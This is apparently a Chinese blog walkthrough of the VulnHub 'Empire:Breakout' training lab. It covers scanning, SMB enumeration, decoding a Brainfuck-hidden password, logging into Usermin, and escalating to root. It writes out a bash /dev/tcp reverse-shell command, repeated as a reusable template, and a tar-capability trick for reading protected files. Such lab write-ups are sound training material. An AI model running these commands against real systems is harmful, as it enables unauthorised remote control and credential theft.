《VulnHub》Empire:Breakout
@TOC
VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com
攻击机为 Kali-Linux-2023.2-vmware-amd64。
Kali NAT IP:192.168.8.10。
1:靶场信息
靶场网址:
https://www.vulnhub.com/entry/empire-breakout,751/
2:打靶
2.1:情报收集 & 威胁建模
由于不知道目标主机的 ip,且目标与攻击机在同一局域网,所以可使用 arp-scan
命令发现主机。
发现主机:arp-scan -l
通过 ping
测试发现 192.168.8.105 在线,靶机 ip 确定。
目标信息扫描:nmap -sS -sV -T4 -n -p- 192.168.8.105
1 | Nmap scan report for 192.168.8.105 |
访问 80 端口,是 Apache 的默认页面。
查看页面源码,发现一串加密信息。为 Brainfuck 编码。
1 | <!-- |
Brainfuck 在线编解码:
http://www.hiencode.com/brain.html
解密后的内容:
1 | .2uqPEfj3D<P'a-3 |
访问 10000 端口,是一个使用 https 的 Webmin 页面。
访问 20000 端口,是一个使用 https 的 Usermin 页面。
139 端口与 445 端口表明主机开启了 SMB 服务,使用 enum4linux
对 SMB 进行枚举探测
枚举 SMB 信息:enum4linux 192.168.8.105
探测到一个本地用户 cyber。
2.2:漏洞分析 & 渗透攻击
使用用户名【cyber】与【.2uqPEfj3D<P’a-3】作为密码尝试登录 Webmin 与 Usermin。成功从 Usermin 登录。
且在页面可以发现一个 shell。
查看当前用户 home 目录下的文件。ls -al
目录下的 user.txt 文件可能会比较有趣。cat user.txt
发现了第一个 flag。
接下来进行提权。为了方便操作,首先使用 netcat
进行 shell 反弹。目标主机上的 netcat 没有权限,所以这里使用其他方法。
1、kali:nc -lv -p 6666
2、server:bash -i >& /dev/tcp/192.168.8.10/6666 0>&1
成功反弹 shell 到 kali。
2.3:后渗透
接下来要搜集其他的信息以帮助提权。
先寻找一下主机上有没有什么备份文件和与密码相关的文件。find / -name '*.bak'
find / -name '*pass*'
找到一个备份文件 /var/backups/.old_pass.bak。
/var/backups/.old_pass.bak 没有执行权限。
尝试把文件拷贝或传输,提示权限不够。
此时得想其他办法,先从已有的信息入手。可以发现 home 目录下 tar 这个文件权限很高。与 tar
命令同名。
再使用 getcap
命令查看一下该文件权限。getcap ./tar
结果结果显示此文件可以读取任意文件。
那就使用 home 目录下的 tar 文件把 /var/backups/.old_pass.bak 压缩,再用系统的 tar
命令解压,这样就解决了权限问题。
打包文件:./tar -cvf ./passwd.tar /var/backups/.old_pass.bak
解压文件:tar -xvf passwd.tar
读取解压后的文件 ./var/backups/.old_pass.bak。cat ./var/backups/.old_pass.bak
1 | Ts&4&YurgtRX(=~h |
网页上无法进行提权,所以得回到 kali 得到的反弹 shell 进行 root 账户登录。
到这里就可以看到提权成功了:
进入 /root/ 下拿到最后的 flag:
至此,打靶结束,完结撒花。
3:总结
万事开头难,作为在 VulnHub 打的第一个靶,选了一个比较简单的靶场。
嗯,又开了一个新坑。(= ̄ω ̄=)
3.1:命令 & 工具
- arp-scan
- nmap
- enum4linux
- netcat
- bash
- getcap
- 基本 linux 命令
- Brainfuck 在线编解码:
http://www.hiencode.com/brain.html
3.1.1:Nmap
部分选项:
参数 | 介绍 |
---|---|
-sS/sT/sA/sW/sM |
TCP SYN/Connect()/ACK/Window/Maimon scans |
-sV |
Probe open ports to determine service/version info |
-T<0-5> |
Set timing template (higher is faster) |
-n/-R |
Never do DNS resolution/Always resolve [default: sometimes] |
-p- |
描目标主机的所有端口 |
3.2:关键技术
主机发现,ARP 二层发现:
arp-scan -l
目标信息扫描,扫描所有端口及开放端口的服务:
nmap -sS -sV -T<0-5> -n -p- <target>
Brainfuck 编码方式。
SMB 服务信息枚举:
enum4linux <target>
反弹 shell,利用 bash 配合 netcat:
1、kali:nc -lv -p <端口>
2、target:bash -i >& /dev/tcp/<address>/<端口> 0>&1
bash -i >& /dev/tcp/<address>/<端口> 0>&1
是一个常用的反弹 shell 命令。常用于把内网的机器反弹到外网机器上,从而实现外网主机控制内网主机。在内网环境也可以用。
这个命令的功能简单来说就是将输入输出重定向到指定的位置,达到反弹 shell 的结果。
- find 命令查找关键信息。
都道无人愁似我,今夜雪,有梅花,似我愁。
——《梅花引 · 荆溪阻雪》(宋)蒋捷